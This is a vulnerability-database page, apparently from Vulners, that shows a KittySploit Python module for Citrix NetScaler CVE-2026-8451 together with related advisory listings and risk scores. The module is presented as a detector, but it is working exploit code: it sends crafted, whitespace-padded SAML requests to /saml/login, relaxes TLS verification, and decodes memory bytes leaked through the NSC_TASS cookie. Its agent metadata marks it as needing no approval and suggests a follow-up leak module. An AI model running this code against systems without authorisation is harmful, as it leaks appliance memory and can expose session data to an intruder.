Citrix NetScaler CVE-2026-8451 detection
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for Out-of-bounds Read in Citrix Netscaler_Application_Delivery_Controller | 7 Jul 202623:52 | – | githubexploit | |
| CVE-2026-8451 | 30 Jun 202612:33 | – | attackerkb | |
| SAML-based NetScaler ADC Controller DoS | 1 Jul 202600:00 | – | bdu_fstec | |
| CVE-2026-8451 | 30 Jun 202613:52 | – | circl | |
| NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2026-8451, CVE-2026-8452, CVE-2026-8655, CVE-2026-10816, CVE-2026-10817, and CVE-2026-13474 | 30 Jun 202611:30 | – | citrix | |
| CVE-2026-8451 | 30 Jun 202612:33 | – | cve | |
| CVE-2026-8451 Insufficient input validation leading to memory overread | 30 Jun 202612:33 | – | cvelist | |
| EUVD-2026-40305 | 30 Jun 202612:33 | – | euvd | |
| CVE-2026-8451 | 13 Oct 202613:28 | – | kitploit | |
| netscaler-saml-memory-disclosure-security-assessment | 12 Oct 202617:18 | – | kitploit |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import base64
import ssl
from requests.adapters import HTTPAdapter
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
"name": "Citrix NetScaler CVE-2026-8451 detection",
"description": (
"Detects Citrix NetScaler/ADC instances vulnerable to CVE-2026-8451 by sending "
"crafted SAML requests to /saml/login and checking the NSC_TASS cookie for "
"memory overread artifacts."
),
"author": ["KittySploit Team"],
"severity": "high",
"cve": "CVE-2026-8451",
"references": [
"https://www.cve.org/CVERecord?id=CVE-2026-8451",
],
"modules": [
"auxiliary/scanner/http/citrix_netscaler_cve_2026_8451_memory_leak",
],
"tags": [
"web",
"scanner",
"citrix",
"netscaler",
"adc",
"memory-disclosure",
"saml",
"cve-2026-8451",
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 4,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': ['citrix', 'netscaler', 'adc'],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': ['/saml'],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'auxiliary/scanner/http/citrix_netscaler_cve_2026_8451_memory_leak',
],
},
},
}
saml_path = OptString("/saml/login", "SAML login endpoint path", required=False)
def _configure_netscaler_ssl(self):
class _NetscalerSSLAdapter(HTTPAdapter):
def init_poolmanager(self, *args, **kwargs):
ctx = ssl.create_default_context()
ctx.set_ciphers("DEFAULT@SECLEVEL=1")
ctx.check_hostname = False
kwargs["ssl_context"] = ctx
return super().init_poolmanager(*args, **kwargs)
self.session.mount("https://", _NetscalerSSLAdapter())
@staticmethod
def _build_saml_request(padding_size: int) -> str:
return (
"<samlp:AuthnRequest "
+ (" " * padding_size)
+ f'''id="{padding_size}"
<saml2:issuer>watchTowr</saml2:issuer>
</samlp:AuthnRequest>
Version="2.0"
AssertionConsumerServiceURL=""'''
)
@staticmethod
def _encode_saml_request(saml_request: str) -> str:
encoded = base64.b64encode(saml_request.encode())
return "".join(f"%{byte:02x}" for byte in encoded)
@staticmethod
def _extract_leaked_bytes(cookie_value: str) -> bytes:
if not cookie_value:
return b""
try:
decoded = base64.b64decode(cookie_value)
except Exception:
return b""
marker = b"ACSURL="
index = decoded.find(marker)
if index < 0:
return b""
return decoded[index + len(marker) :]
def _probe_padding_size(self, padding_size: int) -> bytes:
saml_request = self._build_saml_request(padding_size)
payload = {"SAMLRequest": self._encode_saml_request(saml_request)}
response = self.http_request(
method="POST",
path=str(self.saml_path or "/saml/login"),
data=payload,
allow_redirects=False,
timeout=max(int(self.timeout or 10), 10),
)
if not response or response.status_code < 200 or response.status_code >= 300:
return b""
cookie_value = response.cookies.get("NSC_TASS")
return self._extract_leaked_bytes(cookie_value)
def run(self):
try:
self._configure_netscaler_ssl()
for padding_size in (1024, 512, 256, 128, 64):
leaked = self._probe_padding_size(padding_size)
if not leaked:
continue
self.set_info(
severity="high",
cve="CVE-2026-8451",
reason=(
f"NSC_TASS cookie leaked {len(leaked)} byte(s) at SAML padding "
f"size {padding_size}"
),
padding_size=padding_size,
leaked_bytes=len(leaked),
)
return True
return False
except Exception as exc:
print_error(f"Scanner failed: {exc}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 16:41Current
8.5High risk
Vulners AI Score8.5
CVSS 3.17.5
CVSS 48.8
EPSS0.00502
SSVC